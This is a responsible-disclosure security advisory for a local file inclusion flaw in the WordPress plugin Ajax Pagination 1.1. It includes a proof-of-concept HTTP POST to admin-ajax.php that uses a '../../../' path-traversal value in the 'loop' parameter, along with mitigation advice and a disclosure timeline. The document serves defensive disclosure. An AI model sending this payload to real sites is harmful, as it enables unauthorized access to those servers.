WordPress Plugin Ajax Pagination 1.1 - Local File Inclusion

Details
================
Software: Ajax Pagination (twitter Style)
Version: 1.1
Homepage: http://wordpress.org/plugins/ajax-pagination/
CVSS: 9.3 (High; AV:N/AC:M/Au:N/C:C/I:C/A:C)

Description
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End-user exploitable local file inclusion vulnerability in Ajax 
Pagination (twitter Style) 1.1

Vulnerability
================
This plugin contains a file inclusion vulnerability that is exploitable 
by an unauthenticated user. The user can include any local file ending 
in “.php” which is accessible to the web user.

Proof of concept
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A non-logged in user can call the ajax function 
wp_ajax_nopriv_ajax_navigation that calls ajax_navigation_callback in 
ajax-pagination-front.php at line 75.
By setting the value of “loop” in the POST data, they can include the 
contents of that path on the returned page.
For example, to include the contents of wp-login.php in the returned 
page, send the following:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
paged=2&action=ajax_navigation&loop=../../../wp-login


Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on [email protected] to acknowledge this report if you 
received it via a third party (for example, [email protected]) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2014-02-18: Reported to [email protected] and [email protected]
2014-03-28: No response received to reports. Vulnerability published.


Discovered by dxw:
================
Glyn Wintle
Please visit security.dxw.com for more information.